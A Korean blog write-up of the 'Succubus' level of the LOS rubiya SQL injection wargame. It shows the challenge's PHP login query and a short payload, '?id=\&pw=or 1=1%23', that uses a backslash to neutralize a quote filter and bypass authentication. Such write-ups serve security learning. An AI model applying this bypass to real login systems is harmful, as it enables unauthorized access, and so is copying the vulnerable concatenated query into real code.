vared
vared - Blog
vared
전체 방문자
오늘
어제
  • 분류 전체보기 (138)
    • Study (0)
    • Project (0)
    • Paper Review (0)
    • Tool (0)
    • WriteUp (124)
      • Root-me.org (44)
      • LOS_rubiya (32)
      • Webhacking.kr (21)
      • DreamHack (9)
      • XCZ.kr (8)
      • HackCTF (10)
    • Miscellaneous (0)
    • Forensic-CheatSheet (10)

블로그 메뉴

  • Category

공지사항

  • Forensic-CheatSheet 오픈

인기 글

태그

  • digital-forensics
  • Artifacts
  • Digital-Forensic
  • LNK FIile
  • iconcahce
  • trim
  • Digital Forensic
  • forensic-cheatsheet
  • webhacking.kr
  • Thumbcache
  • forensic artifacts
  • Windows Artifact
  • Los
  • sql injection
  • shellbag forensics
  • File Execution
  • shellbag
  • ssd
  • JavaScript

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
vared

vared - Blog

WriteUp/LOS_rubiya

LOS-rubiya : Succubus

2020. 8. 3. 10:44
<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

드디어 single quotation 을 우회하는 기법이다.

 

\를 이용해서 '를 문자로 만들어버리면 된다.

그러면  and pw= 가 id 의 입력값이 되어버리겠지

?id=\&pw=or 1=1%23

저작자표시 (새창열림)

'WriteUp > LOS_rubiya' 카테고리의 다른 글

LOS-rubiya : nightmare  (0) 2020.08.03
LOS-rubiya : Zombie_assassin  (0) 2020.08.03
LOS-rubiya : Assassin  (0) 2020.08.03
LOS_rubiya : Giant  (0) 2020.08.03
LOS_rubiya : Bugbear  (0) 2020.08.03
    'WriteUp/LOS_rubiya' 카테고리의 다른 글
    • LOS-rubiya : nightmare
    • LOS-rubiya : Zombie_assassin
    • LOS-rubiya : Assassin
    • LOS_rubiya : Giant
    vared
    vared

    티스토리툴바